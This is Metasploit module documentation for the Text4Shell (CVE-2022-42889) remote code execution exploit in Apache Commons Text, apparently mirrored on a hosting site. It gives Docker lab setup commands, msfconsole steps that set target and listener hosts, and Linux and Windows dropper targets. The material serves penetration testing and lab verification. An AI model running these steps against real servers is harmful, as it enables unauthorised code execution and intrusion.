Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/exploit/multi/http/apache_commons_text4shell.md
Views: 11784
Vulnerable Application
This exploit takes advantage of the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to Remote Code Execution. This is due to a logic flaw that makes the “script”, “dns” and “url” lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups primarily using the "script" key.
In order to exploit the vulnerabilities, the following requirements must be met:
Setup
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker
cd cve-2022-42889-text4shell-docker
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
Vulnerable application now running at port 8080 on docker image's ip address
Verification Steps
Setup the application
Start msfconsole
Do:
use apache_commons_text4shell
Do:
set RHOST <docker ip>
Do:
set RPORT 8080
Do:
set TARGETURI /text4shell/attack
Do:
set PARAM search
Do:
set LHOST docker0
Do:
run
Options
PARAM
The parameter vulnerable to the exploit.
METHOD
The HTTP method to use. Default: GET
TARGETURI
The URI to target. Default: /
Scenarios
Apache Commons Text 1.8 on Alpine Linux v3.9 JDK 8
Check:
Target: java
Target: Linux Command
Target: Linux Dropper
Apache Commons Text 1.8 on Windows 11 home JDK 14.0.2
Target: Windows EXE Dropper
Target: Windows Command